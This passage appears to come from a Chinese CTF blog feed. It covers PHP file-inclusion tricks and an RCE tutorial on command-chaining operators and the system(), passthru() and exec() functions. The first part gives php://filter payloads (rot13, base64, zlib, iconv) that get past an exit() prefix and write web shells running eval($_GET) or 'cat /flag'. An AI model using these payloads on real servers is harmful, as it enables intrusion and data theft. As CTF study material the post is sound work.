style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>content=php://filter/string.rot13|&#x3C;?cuc flfgrz('png /synt');?>|/resource=shell.php</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/03/10/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/28.png\" class=\"\"></p>\n<p>用base64编码就可以不用放在过滤器中了：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>content=php://filter/string.strip_tags|convert.base64-decode/resource=?>PD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOyAga.php</span></span></code></pre>\n<p>因为base64在遇到<code>=</code>后就结束了，因此可以先用<code>string.strip_tags</code>来去掉前面php标签里的内容，然后剩下的进行base64解码即可，由于我的环境php版本太高没有string.strip_tags这个过滤器，所以最后cat生成的文件发现没有删除<code>&lt;?php exit();</code>windows下又不允许文件名带上?&gt;，那这道就先放放吧，理论上只需要最后文件包含就可以了：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?file=/var/www/html/%3F%3EPD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOyAga.php</span></span></code></pre>\n<p>还有一种过滤器嵌套绕过：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>content=php://filter/zlib.deflate|string.tolower|zlib.inflate|?>&#x3C;?php%0deval($_GET[1]);?>/resource=shell.php</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/03/10/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/29.png\" class=\"\"></p>\n<p>最后是convert.iconv.*</p>\n<p>convert.iconv.*过滤器等同于用<code>iconv()</code>函数</p>\n<p>通过usc-2的编码进行转换；对目标字符串进行2位一反转；（因为是两位一反转，所以字符的数目需要保持在偶数位上）</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>content=php://filter/convert.iconv.UCS-2LE.UCS-2BE|?&#x3C;hp phpipfn(o;)>?/resource=shell.php</span></span></code></pre>\n<p>我们可以用这段命令输出我们需要的字符串：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>php -r 'echo iconv(\"UCS-2LE\", \"UCS-2BE\", \"&#x3C;?php system(\\\"cat /flag\\\"); ?> \");'</span></span></code></pre>\n<p>最后结果为</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?&#x3C;hp pystsme\"(ac tf/al\"g;)?  ></span></span></code></pre>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>content=php://filter/convert.iconv.UCS-2LE.UCS-2BE|?&#x3C;hp pystsme\"(ac tf/al\"g;)?  >/resource=shell.php</span></span></code></pre>\n<p>最后不用view-source看不到，因为&lt;hp被识别为标签了</p>\n<p><img loading=\"lazy\" src=\"/2026/03/10/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/30.png\" class=\"\"></p>\n<h2 id=\"file_put_contentsfilenamecontent-nxxxxxx\"><a class=\"anchor\" href=\"#file_put_contentsfilenamecontent-nxxxxxx\">#</a> file_put_contents(<span class=\"katex\"><span class=\"katex-mathml\"><math xmlns=\"http://www.w3.org/1998/Math/MathML\"><semantics><mrow><mi>f</mi><mi>i</mi><mi>l</mi><mi>e</mi><mi>n</mi><mi>a</mi><mi>m</mi><mi>e</mi><mo separator=\"true\">,</mo></mrow><annotation encoding=\"application/x-tex\">filename,</annotation></semantics></math></span><span class=\"katex-html\" aria-hidden=\"true\"><span class=\"base\"><span class=\"strut\" style=\"height:0.8889em;vertical-align:-0.1944em;\"></span><span class=\"mord mathnormal\" style=\"margin-right:0.10764em;\">f</span><span class=\"mord mathnormal\">i</span><span class=\"mord mathnormal\" style=\"margin-right:0.01968em;\">l</span><span class=\"mord mathnormal\">e</span><span class=\"mord mathnormal\">nam</span><span class=\"mord mathnormal\">e</span><span class=\"mpunct\">,</span></span></span></span>content . &quot;\\nxxxxxx&quot;);</h2>\n<p>这种没有什么说法：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?filename=shell.php&#x26;file=shell.php</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>content=&#x3C;?php system('cat /flag');?></span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/03/10/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/31.png\" class=\"\"></p>\n",
            "tags": []
        },
        {
            "id": "https://zlaryy.top/2026/02/28/RCE/",
            "url": "https://zlaryy.top/2026/02/28/RCE/",
            "title": "RCE",
            "date_published": "2026-02-28T07:45:00.000Z",
            "content_html": "<h1 id=\"rce\"><a class=\"anchor\" href=\"#rce\">#</a> RCE</h1>\n<p>RCE(remote command/code execute，远程命令执行)漏洞：以PHP为例，system、exec、shell_exec、passthu、popen、proc_popen等函数可以执行系统命令。当我们可以控制这些函数的参数时，就能运行我们想运行的命令，从而进行攻击。</p>\n<h1 id=\"命令拼接符号linux\"><a class=\"anchor\" href=\"#命令拼接符号linux\">#</a> 命令拼接符号（Linux）</h1>\n<ul>\n<li>\n<p><code>|</code>：管道符，前面命令标准输出，后面命令的标准输入，或者说将前面的命令的输出内容作为后一个命令的标准输入，比如：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>echo \"JGZsYWc9WkxBUllZezJMNDd5WX0=\"|base64 -d</span></span>\n<span class=\"line\"><span>输出内容：</span></span>\n<span class=\"line\"><span>$flag=ZLARYY&#123;2L47yY&#125;</span></span></code></pre>\n<p>当然，就算后面的命令不需要输入内容也可以执行：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>echo \"You are \"|whoami</span></span>\n<span class=\"line\"><span>输出内容：</span></span>\n<span class=\"line\"><span>ZLARYY  //whoami命令执行的结果，可以看到不会输出前面的命令执行的内容</span></span></code></pre>\n</li>\n<li>\n<p><code>&amp;</code>：将前面的命令放在后台执行，不等前面的命令执行结束就开始执行后面的命令，还有一种用法是在一行命令末尾加上<code>&amp;</code>符号使其放在后台运行，比如下载文件......：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>echo \"flag=ZLARYY\"&#x26;echo \"&#123;2L47yY&#125;\"</span></span>\n<span class=\"line\"><span>输出内容:</span></span>\n<span class=\"line\"><span>[1] 2354  //[1]表示任务编号，是当前终端回话中开启的第一个后台任务，可以通过jobs命令查看，2354为进程ID(PID,Process ID)，可以通过kill 2354来强制停止这个任务</span></span>\n<span class=\"line\"><span>&#123;2L47yY&#125;  //这个是后面的前台命令执行的结果</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>flag=ZLARYY  //前面的后台命令执行的结果</span></span></code></pre>\n</li>\n<li>\n<p><code>||</code>：逻辑或，只有前面的命令执行失败才会执行后面的命令：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>echo \"ZLARYY\"||echo \"can I be exeuted?\"</span></span>\n<span class=\"line\"><span>输出内容：</span></span>\n<span class=\"line\"><span>ZLARYY</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>cat /flag.txt || echo \"找不到 flag 文件！\"</span></span>\n<span class=\"line\"><span>输出内容：</span></span>\n<span class=\"line\"><span>cat: /flag.txt: No such file or directory</span></span>\n<span class=\"line\"><span>找不到 flag 文件！</span></span></code></pre>\n</li>\n<li>\n<p><code>&amp;&amp;</code>：逻辑与，只有前面的命令执行成功才会执行后面的命令：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>echo \"ZLARYY\"&#x26;&#x26;echo \"sure I can be exeuted!\"</span></span>\n<span class=\"line\"><span>输出内容：</span></span>\n<span class=\"line\"><span>ZLARYY</span></span>\n<span class=\"line\"><span>sure I can be exeuted!</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>cat /flag.txt&#x26;&#x26;echo \"can I be executed?\"</span></span>\n<span class=\"line\"><span>输出内容：</span></span>\n<span class=\"line\"><span>cat: /flag.txt: No such file or directory</span></span></code></pre>\n</li>\n<li>\n<p><code>;</code>：顺序执行，不论前面的命令执行是否成功，都会先执行前面的命令再执行后面的命令：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>echo \"ZLARYY\";echo \"&#123;2L47yY&#125;\"</span></span>\n<span class=\"line\"><span>输出内容：</span></span>\n<span class=\"line\"><span>ZLARYY</span></span>\n<span class=\"line\"><span>&#123;2L47yY&#125;</span></span></code></pre>\n</li>\n<li>\n<p><code>$()和` </code>：把括号或反引号里面的命令先执行，然后把它的输出结果当作字符串拼接到外层命令中：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>echo \"You are $(whoami)\"</span></span>\n<span class=\"line\"><span>输出内容：</span></span>\n<span class=\"line\"><span>You are ZLARYY //将$()替换为``输出结果相同</span></span></code></pre>\n</li>\n<li>\n<p><code>()</code>：子shell运行，在一个全新且独立的子环境中执行，不会影响当前环境的变量或目录：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>(cd /tmp;ls)</span></span>\n<span class=\"line\"><span>//输出内容是ls /tmp的内容，但不会改变当前环境所在目录</span></span></code></pre>\n</li>\n<li>\n<p><code>&#123;&#125;</code>：和()类似，把命令组合起来但是是在当前环境中执行：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#123; cd /tmp;ls; &#125;</span></span>\n<span class=\"line\"><span>//输出内容为ls /tmp，并且目录跳转到/tmp</span></span>\n<span class=\"line\"><span>该符号使用必须在大括号内前后加上空格，并且最后一个命令必须加上分号</span></span></code></pre>\n</li>\n</ul>\n<h1 id=\"系统命令连接符windows\"><a class=\"anchor\" href=\"#系统命令连接符windows\">#</a> 系统命令连接符（windows）</h1>\n<ul>\n<li><code>&amp;</code>：先执行前面的命令，再执行后面的命令：</li>\n</ul>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>echo \"ZLA\"&#x26;echo \"RYY\"</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/43.png\" class=\"\"></p>\n<ul>\n<li>\n<p><code>&amp;&amp;</code>：逻辑与，只有前面的命令执行成功才会执行后面的命令：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>sort flag.txt&#x26;&#x26;echo \"can I be executed?\"</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>echo \"sure I can be executed!\"&#x26;&#x26;echo \"can I be executed?\"</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/44.png\" class=\"\"></p>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/45.png\" class=\"\"></p>\n</li>\n<li>\n<p><code>|</code>：把前一个命令的输出结果当作后一个命令的标准输入：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>dir|findstr  \"flag.txt\"</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/48.png\" class=\"\"></p>\n</li>\n<li>\n<p><code>||</code>：逻辑或，只有前面的命令执行失败才会执行后面的命令：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>sort flag.txt||echo \"can I be executed?\"</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>echo \"sure I can be executed!\"||echo \"can I be executed?\"</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/46.png\" class=\"\"></p>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/47.png\" class=\"\"></p>\n</li>\n</ul>\n<h1 id=\"系统命令执行函数\"><a class=\"anchor\" href=\"#系统命令执行函数\">#</a> 系统命令执行函数</h1>\n<h2 id=\"system\"><a class=\"anchor\" href=\"#system\">#</a> system()</h2>\n<p>其作用是把当前正在运行的程序暂停后让底层操作系统（windows的CMD或Linux的Bash）执行一条系统命令之后返回结果</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>system(string $command, int &#x26;$result_code = null): string|false</span></span></code></pre>\n<ul>\n<li>\n<p><strong>$command</strong>：要执行的系统命令</p>\n</li>\n<li>\n<p><strong>$result_code</strong>：可选参数，存储命令执行后的返回状态码</p>\n</li>\n<li>\n<p><strong>返回值</strong>：成功返回输出的最后一行，失败返回false</p>\n</li>\n</ul>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">system</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">echo ZLARYY</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/1.png\" class=\"\"></p>\n<p>这段代码展现了system()的命令执行功能</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">system</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">echo ZLARYY</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">return</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br></span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">return</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/2.png\" class=\"\"></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">system</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">cat /flag</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">return</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br></span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">return</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/3.png\" class=\"\"></p>\n<p>可以看到，前面的命令执行成功的话返回状态码为0，失败则返回1，并且就算命令执行失败也不影响后续代码执行</p>\n<p>除此之外，system函数可以将命令执行的结果直接返回到界面上：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">system</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">sort flag.txt</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">return</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br></span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">return</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/4.png\" class=\"\"></p>\n<h2 id=\"passthru\"><a class=\"anchor\" href=\"#passthru\">#</a> passthru()</h2>\n<p>passthru()是php中用于执行外部程序并<strong>直接输出原始结果</strong>的函数，与system()函数差不多</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>passthru(string $command, int &#x26;$result_code = null): ?false</span></span></code></pre>\n<ul>\n<li>$command：为要执行的系统命令字符串</li>\n<li>$result_code： 可选，用于接收命令的退出状态码</li>\n<li>成功返回null，失败返回 false</li>\n</ul>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">passthru</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">sort flag.txt</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">return</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br></span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">return</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/5.png\" class=\"\"></p>\n<p>不过相较于system()函数，passthru()可以把原始的二进制流正确地传给浏览器显示或下载</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">header</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">Content-Type: image/png</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">passthru</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">type avertar.png</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p>最后你能打开浏览器看到图片文件</p>\n<h2 id=\"exec\"><a class=\"anchor\" href=\"#exec\">#</a> exec()</h2>\n<p>相较于system()和passthru()，exec()只会将命令输出的最后一行作为函数的返回值，如果想得到完整输出内容 需要给他提供一个数组变量作为第二个参数，将每一行结果存储进去</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">exec</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">echo ZLARYY</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/6.png\" 